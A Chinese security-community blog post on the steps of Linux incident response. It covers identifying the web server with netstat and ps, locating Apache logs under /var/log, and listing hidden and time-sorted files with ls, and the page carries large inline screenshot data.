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<!DOCTYPE html> <html lang=en style><!--
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<title>基于Linux应急响应全流程</title>
<meta name=description content=先知社区，先知安全技术社区>
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<p><span class=content-title>基于Linux应急响应全流程</span>
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<span class="username cell"> 1096997518662234</span></a> <span class=i-seprator> / </span>
<span> 2024-05-22 09:56:44</span><span class=i-seprator> / </span>
<span>发表于四川 / </span>
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<div id=topic_content class="topic-content markdown-body">
<p>此次Linux应急响应文章主要给大家分享一下具体流程和步骤，以及实际操作起来的流程和踩过的坑，可能大家知道这么操作但是习惯性的遗忘。思路需要，但是思路有实际操作却跟不上思路这不亚于纸上谈兵。如果文章有说的不对或者不够完整的希望大家补充。</p>
<h1 id=toc-0>目标信息情况</h1>
<p>当我们去甲方客户现场做应急响应时，啥也没有，首先要了解目标主机网站部署结构，比如说中间件是否是apache，语言是否是PHP，网站性质是否是CMS还是OA等，在这基础上再进行下一步的操作。<br>
通过询问客户人员信息或者根据自行判定，比如说使用netstat -anultp查看服务信息，发现apache，说明这是一个apache的服务器。<br>
<a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522093905-137f65a0-17dc-1.png><img src=data:image/png;base64,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
通过上述我们确定了apache的服务我们可以知道一般apache日志都是再/var/log下面，我们也可以使用ps -aux |grep -i apache查看是否是apache并且该服务用户发现是www-data<br>
<a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522093915-18f4cac0-17dc-1.png><img src=data:image/png;base64,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
<h1 id=toc-1>日志确定</h1>
<p>所以我们可以直接去寻找apache的日志，/var/log下，可能apache日志再改路径下也可能在下一级路径/var/log/apache2/下面，这个就可以根据平时自己的经验判断，总而言之反正在/var/log下就对了，大家一定要注意，输入命令ls时一定要把-a参数敲上，显示所有文件，因为有的文件隐藏了说不定就因为粗心没有带上-a参数导致漏洞文件信息等</p>
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522093927-20724016-17dc-1.png><img src="data:image/png;base64,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
<p>我们也可以通过ls -alt参数根据时间顺序列出该目录下的所有文件，这个也是很有必要的</p>
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522093936-259af1b4-17dc-1.png><img src=data:image/png;base64,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